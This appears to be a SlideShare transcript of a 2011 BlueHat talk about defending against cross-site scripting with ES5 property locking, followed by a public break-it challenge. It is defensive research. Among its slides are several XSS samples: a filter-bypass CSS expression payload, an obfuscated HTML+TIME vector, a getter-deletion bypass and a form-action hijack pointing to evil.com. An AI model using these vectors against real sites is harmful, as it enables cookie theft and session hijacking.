Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

Locking the Throneroom 2.0

6,049 views

Published on

Published in: Technology

Locking the Throneroom 2.0

  1. 1. Locking the Throne RoomHow ES5+ will change XSS and Client Side Security A presentation by Mario Heiderich BlueHat, Redmond 2011
  2. 2. Introduction Mario Heiderich  Researcher and PhD student at the Ruhr-University, Bochum  Security Researcher for SRLabs, Berlin  Security Researcher for Deutsche Post AG, Bonn  Published author and international speaker  HTML5 Security Cheatsheet / H5SC  PHPIDS Project  Twitter @0x6D6172696F
  3. 3. First of all... Buckle Up Take a deep breath A lot of content for a one hour talk Well be defeating XSS here
  4. 4. Todays menu JavaScript and the DOM Cross Site Scripting today  Current mitigation approaches  A peek into the petri dishes of current development A different approach  ES5 and XSS Some theory first And some horrific reality Future work
  5. 5. JavaScript and XSS Cross Site Scripting  One site scripting another  Early vectors abusing Iframes  First published attacks in the late nineties  Three four major variations  Reflected XSS  Persistent XSS  DOM based XSS / DOMXSS  Plug-in XSS  Information theft and modification  Impersonation and leverage of more complex attacks
  6. 6. XSS today An ancient and simple yet unsolved problem  Complexity  Browser bugs  Insecure web applications  Browser plug-ins  Impedance mismatches  Application layer mitigation concepts  New features and spec drafts enabling 0-day attacks XSS is a user agent problem! Nothing else!
  7. 7. Mitigation History Server side  Native runtime functions, strip_tags(), htmlentities(), etc.  Runtime libraries and request validation  External libraries filtering input and output  HTMLPurifier, AntiSamy, kses, AntiXSS, SafeHTML  HTTPOnly cookies Client side protection mechanisms  toStaticHTML() in IE8+ and NoScript  IE8+ XSS filter and Webkit XSS Auditor  Protective extensions such as NoScript, NotScripts  Upcoming approaches such as CSP
  8. 8. Reliability? We broke every single one of them Numerous times And we enjoyed it – as we will in the future
  9. 9. Impedance mismatch Layer A is unaware of Layer B capabilities and flaws  Layer A deploys the attack  Layer B executes the exploit Case study:  HTMLPurifier 4.1.1  Server side HTML filter and XSS mitigation library  Internet Explorer 8, CSS expressions and a parser bug  <a style="background:url(/,! @x:expression(write(1))//)!);"></a>
  10. 10. Ancient Goods HTML+TIME and behaviors 1;--<?f><l ₩ :!!:x /style=`b\65h0061vIor/ĸ :url(#def&#x61ult#time2)ö/;` ₩ /onbegin= &#x5bµ=u0061le&#114t&#40&#x31)&#x5d&# x2f/&#xyŧ>  http://html5sec.org/what?
  11. 11. Further vectors Plug-in based XSS  Adobe Reader  Java applets  Flash player  Quicktime videos  SVG images Charset injection and content sniffing  UTF-7 XSS, EBCDIC, MacFarsi, XSS via images  Chameleon files, cross context scripting, local XSS DOMXSS
  12. 12. Quintessence Server side filtering of client side attacks  Useful and stable for basic XSS protection Still not remotely sufficient  Affected by charsets, impedance mismatches  Subverted by browser bugs an parser errors  Rendered useless by DOMXSS  Bypassed via plug-in based XSS  Helpless against attacks deployed from different servers  Not suitable for what XSS has become The server cannot serve protection for the client And - where will the classic server be in five years?
  13. 13. Revisiting XSS XSS attacks target the client XSS attacks are being executed client side XSS attacks aim for client side data and control XSS attacks impersonate the user XSS is a client side problem  Sometimes caused by server side vulnerabilities  Sometimes caused by a wide range of problems transparent for the server Still we try to improve server side XSS filters
  14. 14. Idea Prevention against XSS in the DOM Capability based DOM security Inspired by HTTPOnly  Cookies cannot be read by scripts anymore  Why not changing document.cookie to do so JavaScript up to 1.8.5 enabled this Unfortunately Non-Standard Example →
  15. 15. __defineGetter__()<script>document.__defineGetter__(cookie, function(){ alert(no cookie access!); return false;});</script>…<script> alert(document.cookie)</script>
  16. 16. Problems Proprietary And not tamper resistant at all  JavaScript supplies a delete operator  Delete operations on DOM properties reset their state  Getter definitions can simply be overwritten Object getters - invalid for DOM protection purposes Same for setters and overwritten methods
  17. 17. Bypass<script>document.__defineGetter__(cookie, function(){ alert(no cookie access!); return false;});</script>…<script> delete document.cookie; alert(document.cookie)</script>
  18. 18. Tamper Resistance First attempts down the prototype chain  document.__proto__.__defineGetter__()  Document.prototype Attempts to register delete event handlers  Getter and setter definitions for the prototypes  Setter protection for setters  Recursion problems  Interval based workarounds and race conditions JavaScript 1.8 unsuitable for DOM based XSS protection
  19. 19. ECMA Script 5 Older user agents use JavaScript based on ES3  Firefox 3  Internet Explorer 8  Opera 11 The modern ones already ship ES5 compliance  Google Chrome  Safari 5+  Firefox 4+  Internet Explorer 9 and 10pp3
  20. 20. Object Extensions Many novelties in ECMA Script 5 Relevance for client side XSS mitigation  Object extensions such as  Object.freeze() and Object.seal()  Object.getOwnPropertyNames() - a lovely method!  Object.defineProperty() / Object.defineProperties()  Object.preventExtensions()  Less relevant but still interesting  Proxy Objects, useless since no host objects allowed...  More meta-programming APIs  Combinations with DOM Level 3 events
  21. 21. ({}).defineProperty() Object.defineProperty() and ..Properties() Three parameters  Parent object  Child object to define  Descriptor literal Descriptors allow to manipulate  Get / Set behavior  Value  “Enumerability”  “Writeability”  “Configurability” Example →
  22. 22. Example<script>Object.defineProperty(document, cookie, { get: function(){return:false}, set: function(){return:false}, configurable:false});</script>…<script> delete document.cookie; alert(document.cookie);</script>
  23. 23. configurable:false Setting “configurability” to false is final  The object description is stronger than delete  Prototype deletion has to effect  Re-definition is not possible With this method call cookie access can be forbidden  By the developer  And by the attacker
  24. 24. Prohibition Regulating access in general  Interesting to prevent cookie theft  Other properties can be blocked too  Method access and calls can be forbidden  Methods can be changed completely  Horizontal log can be added to any call, access and event That is for existing HTML elements as well Example →
  25. 25. Action Protection<script>var form = document.getElementById(form);Object.defineProperty(form, action, { set: IDS_detectHijacking, get: IDS_detectStealing, configurable:false});</script>…<script> document.forms[0].action=//evil.com;</script>
  26. 26. First Roundup Access prohibition might be effective Value and argument logging helps detecting attacks Possible IDS solutions are not affected by heavy string obfuscation No impedance mismatches  Attacks are detected on they layer they target  Parser errors do not have effect here  No effective charset obfuscations  Immune against plug-in-deployed scripting attacks  Automatic quasi-normalization Its a blacklist though
  27. 27. Going Further No access prohibitions but RBAC via JavaScript Possible simplified protocol  Let object A know about permitted accessors  Let accessors of object A be checked by the getter/setter  Let object A react depending on access validity  Seal object A  Execute application logic  Strict policy based approach A shared secret between could strengthen the policy Example →
  28. 28. RBAC and IDS<script>Object.defineProperty(document, cookie, { set:RBAC_checkSetter(IDS_checkArguments()), get:RBAC_checkGetter(IDS_checkArguments()) configurable:false});// identified via arguments.callee.callerMy.allowedMethod(document.cookie);</script>…<script> alert(document.cookie)</script>
  29. 29. Forced Introspection Existing properties can gain capabilities  The added setter will know:  Who attempts to set  What value is being used  The added getter will know:  Who attempts to get  An overwritten function will know:  How the original function looked like  Who calls the function  What arguments are being used IDS and RBAC are possible Tamper resistance thanks to configurable:false
  30. 30. Case Study I Stanford JavaScript Crypto Library AES256, SHA256, HMAC and more in JavaScript „SJCL is secure“ Not true from an XSS perspective Global variables Uses  Math.floor(), Math.max(), Math.random()  document.attachEvent(), native string methods etc.  Any of which can be attacker controlled High impact vulnerabilities ahead...
  31. 31. Case Study II BeEF – Browser Exploitation Framework As seen some minutes ago ☺ Uses global variables  window.beef = BeefJS; Attacker could seal it with Object.defineProperty()  Else the defender could “counterbeef” it  BeEF XSS = Exploiting the exploiter  Maybe a malformed UA string? Or host address?
  32. 32. Deployment Website owners should obey a new rule „The order of deployment is everything“ As long as trusted content is being deployed first  Object.defineProperty() can protect  Sealing can be used for good The script deploying first controls the DOM  Persistent, tamper resistant and transparent Self-defense is possible Example →
  33. 33. !defineProperty()<html><head><script>…Object.defineProperty(Object, defineProperty { value:[], configurable:false});</script>…<script> Object.defineProperty(window,secret, { get:stealInfo }); // TypeError</script>
  34. 34. Reflection Where are we now with ES5?  Pro:  We can fully restrict property and method access  We have the foundation for a client side IDS and RBAC  We can regulate Object access, extension and modification  CSP and sand-boxed Iframes support this approach  Contra:  Its a blacklist  Magic properties cause problems  We need to prevent creation of a fresh DOM  Right now the DOM sucks! Still we can approach XSS w/o any obfuscation
  35. 35. But now... Enough with the theory already!
  36. 36. Experimentation Publish a totally XSS-able website  1st step: Attribute injections  2nd step: Full HTML injections, implemented as crappily as possible  No server filter at all Protect it with JavaScript only Block access to document.cookie Implement a safe getter Announce a challenge to break it  Break→Score→Await Fix→Break→Score again  Tough challenge→Evolutionary Result-Set→Extra Learning
  37. 37. Code Exampledocument.cookie = 123456-secret-123456;(function(){ var i,j,x,y; var c = document.cookie; var o = Object.defineProperty; document.cookie=null; o(MouseEvent.prototype, isTrusted, {configurable:false}); o(document, cookie, {get:function()arguments.callee.caller===Safe.get ? c : null}); x=Object.getOwnPropertyNames(window),x.push(HTMLHeadElement); for(i in x) { if(/^HTML/.test(x[i])) { for(j in y=[innerHTML, textContent, text]) { o(window[x[i]].prototype, y[j], {get: function() null}) } } } for(i in x=[wholeText, nodeValue, data, text, textContent]) { o(Text.prototype, x[i], {get: function() null}) }})();
  38. 38. A Safe Getter?var Safe = {};Safe.get = function() { var e = arguments.callee.caller; if(e && e.arguments[0].type === click && e.arguments[0].isTrusted === true) { return document.cookie } return null;};Object.freeze(Safe); Make sure its a click Make really sure its a click Make really sure its a real click Look good, right?
  39. 39. Result
  40. 40. Evaluation by Penetration Turns out its been all rubbish Code was broken 52 times  Spoofing “real” clicks  Overwriting frozen properties  Using Iframes and data URIs  Using XHR from within JavaScript and data URIs  Finding leaking DOM properties  Cloning content into textarea and reading the value  Heres a full list Code was fixed successfully 52 times  Remainder of an overall of zero “unfixable” bypasses?  Well – almost. And depending on the user agent.  IE? Yes sir! Firefox? Yes - kinda. Rest? Nope
  41. 41. Current State XSSMe¹ still online  http://html5sec.org/xssme XSSMe² as well  http://xssme.htm5sec.org/ You are welcome to break it ~14.000 attempts to break it so far  52 succeeded,  52 were ultimately fixed! Thanks plaintext and createHTMLDocument() XSSMe³ / JSLR is available right now!  http://www.businessinfo.co.uk/labs/jslr/jslr.php  Hat-tips to Gareth Heyes  ~8.000 attempts to break it – of which 15 succeeded (so far) and 14 were fixed And hopefully there is more to come
  42. 42. Hows it done? XSSMe²  Object.getOwnPropertyNames(window).concat( Object.getOwnPropertyNames(Window.prototype))  document.write(<plaintext id=__doc>)  document.implementation.createHTMLDocument() JSLR/XSSMe³  All of the above  Apply a random ID to any legitimate element  Check against its existence  Wrap JavaScript code in identifier blocks  High security mode – server supported though Please, please try to break it!
  43. 43. So? Client-side, JavaScript only XSS protection is possible Is it elegant right now? Noope Does it work on all modern browsers? Almost! IE and FF doing great Is it feasible? Yes – but fragile More fragile than protection allotted over n layers? Noope What remains to be done? A small wish-list for the browser vendors! A possibility to make it work elegantly
  44. 44. Future Work I We need to fix the DOM  Consistency please  Higher prio for DOM bugs – they will be security bugs anyway soon! Specify a white-list based approach Fix and refine event handling and DOM properties  DOMFrameContentLoaded  Maybe DOMBeforeSubtreeModified?  Maybe DOMBeforeInsertNode? The DOM needs more “trustability” Monitor and contribute to ES6 and ES7 We need DOM Proxies!
  45. 45. Future Work II Talk to W3C people  DOM Sandboxing kinda works – but thats about it  Introduce the features we need to make it elegant Specify DOMInit, support its implementation Specify Object.intercept()  White-list based DOM access and caller interception  Details available soon. Or after a beer or two And finally? Please lets fix the Java Plugin! Really!  This is sheer horror and breaks everything  Anyone here from Oracle we could talk to?
  46. 46. Conclusion XSS remains undefeated - but lotsa steps forwards were made RIAs gain complexity and power, WDP and Win8 Client-agnostic server side filters designed to fail Time for a new approach Still a lot of work to be done Client-side XSS protection and more is possible  Just not the most elegant  Still – compare 70 lines of JS to 12091 lines of PHP Lets get it done already Hard? Yes. No one said itd be easy :)
  47. 47. Questions Thanks for your time! Discussion? Thanks for advice and contribution:  G. Heyes, S. Di Paola, E. A. Vela Nava  R. Shafigullin, J. Tyson, M. Kinugawa, N. Hippert, M. Nison, K. Kotowicz  D. Ross and M. Caballero  J. Wilander and M. Bergling  J. Magazinius, Phung et al.  All unmentioned contributors

×